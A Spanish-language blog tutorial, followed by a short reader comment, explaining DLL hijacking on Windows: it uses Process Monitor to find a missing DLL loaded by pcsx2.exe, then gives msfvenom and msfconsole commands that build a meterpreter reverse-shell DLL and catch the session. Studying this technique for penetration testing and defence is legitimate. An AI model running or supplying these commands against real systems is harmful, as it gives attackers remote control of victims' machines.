Descripción:
Las DLL son el método usado por Windows para compartir funciones entre aplicaciones.
La DLL contiene tres funciones, la aplicación coge la funcion DLLMAIN()
La vulnerabilidad DLL Hijacking consiste (De una manera resumida) en suplantar una DLL, que una aplicación intenta cargar, por código malicioso.
Tenemos un exe que carga esas tres dll, una de ellas no es la original
Podemos saber que DLL está usando un programa gracias a la herramienta Process Monitor y a sus filtros:
También podemos añadir Process Name is <Nombre Aplicacion que estamos testeando>
PoC:
El primer paso será ver que DLL podemos cambiar, para ello como se mencionó antes haremos uso de procmon, en mi caso seleccionare una DLL que usa la aplicación pcsx2.exe
Pone NAME NOT FOUND porque intentó buscar la dll en la ruta y no la encontró, así que simplemente tendremos que colocar nuestra dll maliciosa en esa ruta.
El segundo paso será crear una DLL maliciosa con metasploit, para ello introduciremos el siguiente comando:
$ msfvenom -p windows/meterpreter/reverse_tcp lhost=<IPLOCAL> lport=<PUERTO> -f dll > /root/Desktop/dwmapi.dll
Y ponemos a la escucha nuestro handler:
$ msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST <IP>; set LPORT 8080; run;"
Una vez generada añadiremos la DLL que usa el programa pcsx2.exe en la ruta donde la va a buscar.
Y al ejecutar la aplicación pcsx2.exe nos abrirá una sesión meterpreter.
Buenísima info!!
ResponderEliminar